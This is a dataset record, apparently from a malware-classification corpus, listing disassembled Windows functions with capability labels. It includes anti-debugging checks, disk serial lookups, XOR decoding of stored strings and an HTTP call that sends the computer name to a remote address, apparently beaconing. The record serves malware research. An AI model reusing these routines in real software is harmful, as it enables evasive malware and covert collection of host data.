joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407b11
Capabilities:
Get common file path
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x30fc
call fcn.0040e370
mov eax, dword [0x4360e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
xor ebx, ebx
mov edi, ecx
push ebx
push eax
call fcn.0040fff0
push esi
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.0040fff0
add esp, 0x18
lea eax, [ebp - 0x108]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
movsx eax, byte [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.._c:
push eax
call fcn.00407e76
add esp, 0xc
lea eax, [ebp - 0x20c]
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407ba0
mov al, 1
jmp 0x407ca9
push 0x2710
lea eax, [ebp - 0x30ec]
mov dword [ebp - 0x30fc], ebx
push ebx
push eax
call fcn.0040fff0
push 0x3e8
lea eax, [ebp - 0x9dc]
push ebx
push eax
call fcn.0040fff0
push 0x3e8
lea eax, [ebp - 0x5f4]
push ebx
push eax
call fcn.0040fff0
add esp, 0x24
mov dword [ebp - 0x30f0], ebx
lea eax, [ebp - 0x30fc]
mov dword [ebp - 0x30f8], ebx
mov dword [ebp - 0x30f4], ebx
push ebx
push eax
push 0x2710
lea eax, [ebp - 0x30ec]
push eax
push 0xc
lea eax, [ebp - 0x30f8]
push eax
push 0x2d1400
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x407c22
mov bl, 2
jmp 0x407ca0
lea eax, [ebp - 0x5f4]
push eax
push ebx
push dword [ebp - 0x30dc]
lea eax, [ebp - 0x30ec]
push eax
call fcn.00407cb8
lea eax, [ebp - 0x9dc]
push eax
push 1
push dword [ebp - 0x30d4]
lea eax, [ebp - 0x30ec]
push eax
call fcn.00407cb8
lea ecx, [ebp - 0x5f4]
add esp, 0x20
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c63
sub ecx, edx
lea eax, [ebp - 0x5f4]
push ecx
push eax
push edi
call fcn.004076c2
lea ecx, [ebp - 0x9dc]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407c86
sub ecx, edx
lea eax, [ebp - 0x9dc]
push ecx
push eax
push edi
call fcn.004076c2
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d86d
leave
ret
Function at 0x407eac
Capabilities:
Create raw socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x4360e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
lea eax, [ebp - 0x194]
push eax
xor edi, edi
push 0x101
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
push edi
push edi
xor ebx, ebx
mov word [esi + 8], ax
inc ebx
push ebx
push 3
push 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x407f29
push ebx
push dword [esi + 4]
push eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
push 0x2c
mov dword [esi + 0x10], ebx
call fcn.00411cf8
mov dword [esi + 0xc], eax
pop ecx
test eax, eax
jne 0x407f29
mov dword [esi + 0x10], edi
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d86d
leave
ret

Function at 0x40802a
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x4360e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 0x64
mov dword [ebp - 0x7c], eax
xor edi, edi
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.0040fff0
add esp, 0xc
test esi, esi
je 0x4080c3
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x4080c3
mov ecx, dword [esi + 0xc]
mov ecx, dword [ecx]
jmp 0x4080a5
movsx eax, word [esi + 0xa]
push eax
push ecx
lea eax, [ebp - 0x74]
push eax
call fcn.0040f4f0
add esp, 0xc
push dword [ebp - 0x74]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x68]
push 0x42c838
push eax
call fcn.00407e91
mov eax, dword [esi + 0xc]
add esp, 0xc
inc edi
mov ecx, dword [eax + edi*4]
test ecx, ecx
jne 0x408071
push dword [ebp + 0x10]
lea eax, [ebp - 0x68]
push dword [ebp - 0x7c]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
mov ecx, ebx
call fcn.004080d6
jmp 0x4080c5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d86d
leave
ret 0xc
Function at 0x4080d6
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x4360e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x10], 0
je 0x40828d
push 2
pop eax
mov word [ebp - 0x114], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x144], 0x10
call fcn.00407fa6
mov cx, word [0x437640]
inc cx
mov dword [ebp - 0x14c], eax
push 0x2c
mov word [0x437640], cx
push 0
push dword [edi + 0xc]
movzx eax, cx
mov dword [ebp - 0x148], eax
call fcn.0040fff0
mov esi, dword [edi + 0xc]
add esp, 0xc
mov ecx, edi
mov word [esi], 8
mov ax, word [edi + 8]
mov word [esi + 4], ax
mov eax, dword [ebp - 0x148]
mov word [esi + 6], ax
mov eax, dword [ebp - 0x14c]
push 0x2c
mov dword [esi + 8], eax
push dword [edi + 0xc]
call fcn.00407f58
mov word [esi + 2], ax
lea eax, [ebp - 0x114]
push dword [ebp - 0x144]
push eax
push 0
push 0x2c
push dword [edi + 0xc]
push dword [edi]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x40828d
test ebx, ebx
jne 0x4081af
xor eax, eax
inc eax
jmp 0x40828f
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.0040fff0
add esp, 0xc
lea esi, [edi + 4]
push 0
push 0x64
push 0
push esi
push 1
call dword [sym.imp.WS2_32.dll_WSAWaitForMultipleEvents]
cmp eax, 0x102
je 0x408277
lea eax, [ebp - 0x140]
push eax
push dword [esi]
push dword [edi]
call dword [sym.imp.WS2_32.dll_WSAEnumNetworkEvents]
test byte [ebp - 0x140], 1
je 0x408277
mov ecx, edi
call fcn.00407fa6
mov esi, eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push 0x100
lea eax, [ebp - 0x104]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_recvfrom]
mov edx, eax
cmp edx, 0xffffffff
je 0x408274
mov cl, byte [ebp - 0x104]
and cl, 0xf
movzx ecx, cl
shl cx, 2
movzx eax, cx
movzx ecx, ax
mov dword [ebp - 0x150], eax
mov ax, word [ebp + ecx - 0x100]
cmp ax, word [edi + 8]
jne 0x408274
cmp byte [ebp + ecx - 0x104], 0
jne 0x408274
mov eax, dword [ebp - 0x148]
cmp word [ebp + ecx - 0xfe], ax
je 0x4082a0
lea esi, [edi + 4]
mov ecx, edi
call fcn.00407fa6
sub eax, dword [ebp - 0x14c]
cmp eax, dword [ebp + 0x10]
jb 0x4081c8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d86d
leave
ret 0xc
sub esi, dword [ebp + ecx - 0xfc]
mov ecx, dword [ebp - 0x150]
movzx ecx, cx
sub edx, ecx
mov word [ebx], ax
movzx ecx, byte [ebp - 0xfc]
sub edx, 0xc
mov dword [ebx + 4], esi
mov dword [ebx + 8], edx
mov dword [ebx + 0xc], ecx
jmp 0x4081a7
Function at 0x40b940
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ba48
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x4360e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.00402012
push dword [ebp - 0x10]
mov dword [ebp - 4], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
or ebx, 0xffffffff
test eax, eax
jne 0x40baee
xor edi, edi
mov eax, dword [ebp - 0x10]
test edi, edi
js 0x40baf1
cmp edi, dword [eax - 0xc]
jge 0x40baf1
lea eax, [eax + edi*2]
push 0x5c
push eax
call fcn.0040f217
mov edi, eax
add esp, 8
test edi, edi
je 0x40baee
mov eax, dword [ebp - 0x10]
sub edi, eax
sar edi, 1
cmp edi, 0xffffffff
je 0x40baf1
call fcn.00402b49
mov ecx, eax
test ecx, ecx
je 0x40bb1f
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x10]
add edi, 1
mov ebx, 0
mov byte [ebp - 4], 1
cmovns ebx, edi
cmp ebx, dword [eax - 0xc]
jl 0x40ba11
add eax, 0xfffffff0
push eax
call fcn.00402e65
add esp, 4
add eax, 0x10
mov dword [ebp - 0x18], eax
jmp 0x40ba3d
mov ecx, dword [eax - 0x10]
test ecx, ecx
je 0x40ba21
mov eax, dword [ecx]
call dword [eax + 0x10]
test eax, eax
jne 0x40ba2d
call fcn.00402b49
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x10]
push eax
push ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0x18]
call fcn.00401d76
mov eax, dword [ebp - 0x18]
lea edx, [esi - 0x10]
mov byte [ebp - 4], 2
lea ebx, [eax - 0x10]
mov dword [ebp - 0x1c], edx
cmp ebx, edx
je 0x40ba9a
cmp dword [edx + 0xc], 0
lea esi, [edx + 0xc]
jl 0x40ba8b
mov ecx, dword [ebx]
cmp ecx, dword [edx]
jne 0x40ba8b
push ebx
call fcn.00402e65
add esp, 4
mov dword [ebp - 0x20], eax
or ecx, 0xffffffff
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40ba83
mov esi, dword [ebp - 0x1c]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x20]
lea esi, [eax + 0x10]
mov dword [ebp - 0x14], esi
jmp 0x40ba9a
push dword [eax - 0xc]
lea ecx, [ebp - 0x14]
push eax
call fcn.00402771
mov esi, dword [ebp - 0x14]
mov byte [ebp - 4], 1
or eax, 0xffffffff
lock xadd dword [ebx + 0xc], eax
dec eax
test eax, eax
jg 0x40bab3
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40bac7
push esi
call fcn.004153c4
add esp, 4
or ebx, 0xffffffff
mov byte [ebp - 4], 0
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40b990
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x40b990
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 0xffffffff
lea edx, [eax - 0x10]
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x40bb0d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00402dc3
int3
Function at 0x40bf30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bb48
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4360e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00402b49
mov ecx, eax
test ecx, ecx
je 0x40c076
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x10], esi
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x200
or eax, ecx
mov dword [ebp - 4], 0
jge 0x40bf9a
push 0x200
lea ecx, [ebp - 0x10]
call fcn.00402cb2
mov esi, dword [ebp - 0x10]
push 0
push 0x1a
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push dword [esi - 8]
push esi
call fcn.00411b41
add esp, 8
test eax, eax
js 0x40c06c
cmp eax, dword [esi - 8]
jg 0x40c06c
xor ecx, ecx
mov dword [esi - 0xc], eax
mov word [esi + eax*2], cx
mov ecx, dword [esi - 0xc]
test ecx, ecx
jne 0x40c015
mov edi, dword [ebp + 8]
mov ecx, edi
push 0x432b90
call fcn.00402012
add esi, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40c002
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ecx - 1]
test eax, eax
js 0x40c06c
cmp eax, ecx
jg 0x40c06c
cmp word [esi + eax*2], 0x5c
je 0x40c034
push 0x432c3c
lea ecx, [ebp - 0x10]
call fcn.00401cf4
push str.6789Zip_
lea ecx, [ebp - 0x10]
call fcn.00401cf4
cmp dword [ebp + 0xc], 0
mov esi, dword [ebp - 0x10]
je 0x40c053
push esi
call fcn.0040b940
add esp, 4
add esi, 0xfffffff0
push esi
call fcn.00402e65
mov edi, dword [ebp + 8]
add esp, 4
add eax, 0x10
mov dword [edi], eax
jmp 0x40bfe6
push 0x80070057
call fcn.00402dc3
push 0x80004005
call fcn.00402dc3
int3
Function at 0x40c7b0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bbd8
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x4360e4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.0040bc20
push str.AppTest.txt
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
call fcn.00402ec0
mov edx, dword [ebp - 0x14]
or esi, 0xffffffff
add esp, 0x14
mov dword [ebp - 4], 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c81f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x10]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edx, dword [ebp - 0x10]
mov edi, eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40c842
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
push eax
cmp eax, 1
je 0x401007
pop eax
cmp eax, 0x200
jb 0x401026
mov dword [ebp - 4], 1
jmp 0x40102d
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401037
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, dword fs:[0x30]
add eax, 0x68
mov eax, dword ds:[eax]
cmp eax, 0x70
je 0x401058
mov dword [ebp - 4], 0
jmp 0x40105f
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401112
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push esi
push edi
mov ecx, 5
mov esi, 0x40603c
lea edi, [ebp - 0x18]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [0x406054]
mov dword [ebp - 0x20], eax
mov cl, byte [0x406058]
mov byte [ebp - 0x1c], cl
lea edx, [ebp - 0x18]
push edx
call fcn.00401675
add esp, 4
lea eax, [ebp - 0x20]
push eax
call fcn.00401675
add esp, 4
push 0x100
lea ecx, [ebp - 0x220]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x120]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x120]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x20]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40138a
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x4060a0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4013ae
xor eax, eax
jmp 0x40142b
push 2
push 0
mov ecx, dword [ebp - 4]
push ecx
call sub.MSVCRT.dll_fseek
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_ftell
add esp, 4
mov dword [ebp - 8], eax
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fseek
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
call sub.MSVCRT.dll_malloc
add esp, 4
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
jne 0x4013fa
xor eax, eax
jmp 0x40142b
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call sub.MSVCRT.dll_fread
add esp, 0x10
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401485
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov dword [ebp - 4], 1
mov dword [ebp - 0x10c], 0x104
lea eax, [ebp - 0x110]
push eax
push 0x20019
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401520
lea eax, [ebp - 0x10c]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
lea edx, [ebp - 4]
push edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40150f
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x10c], 0
je 0x401504
cmp dword [ebp - 0x10c], 1
jne 0x401508
xor eax, eax
jmp 0x401522
mov eax, 1
jmp 0x401522
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401522
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402d04
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
push ebx
push esi
push edi
mov esi, 0x4065ac
lea edi, [ebp - 0x18]
push 7
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x4065b8
lea edi, [ebp - 0xc]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x4065bc
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x4065c8
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop ecx
mov esi, 0x4065d4
lea edi, [ebp - 0x50]
push 0x12
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
pop ecx
mov esi, 0x4065f4
lea edi, [ebp - 0x198]
lea eax, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
movsb byte es:[edi], byte [esi]
call fcn.00401675
lea eax, [ebp - 0x24]
push eax
call fcn.00401675
lea eax, [ebp - 0x50]
push eax
call fcn.00401675
lea eax, [ebp - 0x198]
push eax
call fcn.00401675
lea eax, [ebp - 0x18]
push eax
call fcn.00401675
push dword [ebp + 8]
lea eax, [ebp - 0x29c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x29c]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0040138a
add esp, 0x30
test eax, eax
je 0x402e3d
lea eax, [ebp - 0x30]
push ebx
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00401526
mov esi, eax
add esp, 0x10
cmp esi, ebx
je 0x402e34
add esi, 9
lea eax, [ebp - 0xc]
push esi
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00401526
mov edi, eax
mov eax, dword [ebp - 4]
sub edi, esi
add esi, eax
push edi
lea eax, [ebp - 0x14c]
push esi
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x24]
push ebx
push eax
mov byte [ebp + edi - 0x14c], bl
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00401526
mov esi, eax
add esp, 0x2c
cmp esi, ebx
jne 0x402e44
push dword [ebp - 4]
call sub.MSVCRT.dll_free
pop ecx
xor eax, eax
jmp 0x402eec
add esi, 9
lea eax, [ebp - 0xc]
push esi
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00401526
mov edi, eax
mov eax, dword [ebp - 4]
sub edi, esi
add esi, eax
push edi
lea eax, [ebp - 0xb4]
push esi
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0xb4]
mov byte [ebp + edi - 0xb4], bl
push eax
xor edi, edi
call sub.MSVCRT.dll_strlen
add esp, 0x20
test eax, 0xfffffffe
jbe 0x402ec9
lea ebx, [ebp - 0xb4]
lea esi, [ebp + edi - 0xe8]
push esi
push str._02x
push ebx
call sub.MSVCRT.dll_sscanf
mov eax, edi
and eax, 7
mov al, byte [ebp + eax - 0x18]
xor byte [esi], al
inc edi
lea eax, [ebp - 0xb4]
inc ebx
push eax
inc ebx
call sub.MSVCRT.dll_strlen
shr eax, 1
add esp, 0x10
cmp edi, eax
jb 0x402e93
lea eax, [ebp - 0xe8]
push eax
lea eax, [ebp - 0x14c]
push eax
push 0x406bac
push 0x406648
call fcn.00403f7c
add esp, 0x10
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403f7c
Capabilities:
Create http request
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x658
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, 0x406a28
lea edi, [ebp - 0x30]
lea eax, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
push eax
mov dword [ebp - 4], 0x32
call fcn.00401675
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov eax, dword [ebp - 4]
xor ebx, ebx
push 0x406bef
mov byte [ebp + eax - 0x64], bl
lea eax, [ebp - 0x658]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x658]
push str._actionadda
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 8]
lea eax, [ebp - 0x658]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x658]
push 0x406a64
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
add esp, 0x24
test eax, eax
jbe 0x404039
push dword [ebp + 0xc]
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x258]
push eax
call fcn.0040172a
push eax
lea eax, [ebp - 0x658]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x658]
push 0x406a68
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
add esp, 0xc
test eax, eax
jbe 0x404084
push dword [ebp + 0x10]
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x258]
push eax
call fcn.0040172a
push eax
lea eax, [ebp - 0x658]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x658]
push 0x406a6c
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
add esp, 0xc
test eax, eax
jbe 0x404145
push dword [ebp + 0x14]
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x258]
push eax
call fcn.0040172a
push eax
lea eax, [ebp - 0x658]
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x658]
push 0x406a70
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x258]
push eax
call fcn.0040172a
push eax
lea eax, [ebp - 0x658]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x30
lea eax, [ebp - 0x30]
push ebx
push ebx
push ebx
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
mov edi, eax
push 0x80000000
push ebx
lea eax, [ebp - 0x658]
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
push 1
pop eax
jmp 0x404147
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret